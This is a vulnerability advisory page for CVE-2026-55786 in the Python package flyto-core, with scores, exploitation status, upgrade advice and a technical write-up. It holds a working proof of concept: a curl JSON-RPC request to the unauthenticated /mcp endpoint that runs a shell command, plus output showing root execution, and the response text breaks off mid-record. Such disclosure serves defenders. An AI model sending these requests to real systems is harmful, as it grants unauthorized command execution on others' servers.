Skip to main content
VulnerabilityPublished Updated

CVE-2026-55786: flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`

Affects flyto-coreSource GCVE Database

0
Compare
Authoritative record:CVE-2026-55786· High 8.4

Not known to be exploited · CVSS 8.4 High : upgrade to 2.26.4 soon.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score
8.4High
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 3.18.4
EPSS
0.2% chance of exploitation in 30 days – higher than 17% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 2.26.4
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 14 Oct 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade flyto-core to 2.26.4.

Affected software

ProductAffectedFixed in
PyPIflyto-coreAffected
  • >=2.26.2 <2.26.4
Fixed in
  • 2.26.4

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Unauthenticated Command Execution via HTTP MCP `execute_module` ### Summary The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header. ### Details flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist. The complete unauthenticated data flow from source to sink: 1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation. 2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route. 3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation. 4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`. 5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`. 6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`. 7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`. 8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization. 9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping. The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable. **Vulnerable code excerpts:** ```python # src/core/api/routes/mcp.py:65-66 — missing auth @router.post("") async def mcp_post(request: Request): ``` ```python # src/core/mcp_handler.py:832-838 — attacker-controlled dispatch elif tool_name == "execute_module": result = await execute_module( module_id=arguments.get("module_id", ""), params=arguments.get("params", {}), context=arguments.get("context"), browser_sessions=browser_sessions, ) ``` ```python # src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink params = context['params'] command = params.get('command', '') # ... only empty-command and cwd existence checks ... proc = await asyncio.create_subprocess_shell(command, ...) ``` **Contrast with the protected REST route:** ```python # src/core/api/routes/modules.py:93 — correctly guarded @router.post("/execute", dependencies=[Depends(require_auth)]) ``` The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it. ### PoC **Environment setup (Docker):** ```bash # Build the image (context: the report directory containing repo/ and vuln-001/) docker build \ -f vuln-001/Dockerfile \ -t flyto-vuln-001 \ reports/mcp_57_flytohub__flyto-core/ # Start the server (binds 0.0.0.0:8333 inside the container) docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001 ``` **Exploit (curl) — no Authorization header:** ```bash curl -sS http://127.0.0.1:8333/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": {"command": "id", "timeout": 5} } } }' ``` **Exploit (Python PoC script):** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 8333 --command id ``` **Observed response (dynamic reproduction, Phase 2):** ```json { "jsonrpc": "2.0", "id": 1, "result": { "structuredContent": { "ok": true, "data": { "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", "stderr": "", "exit_code": 0,

References

Community reviews

Loading reviews…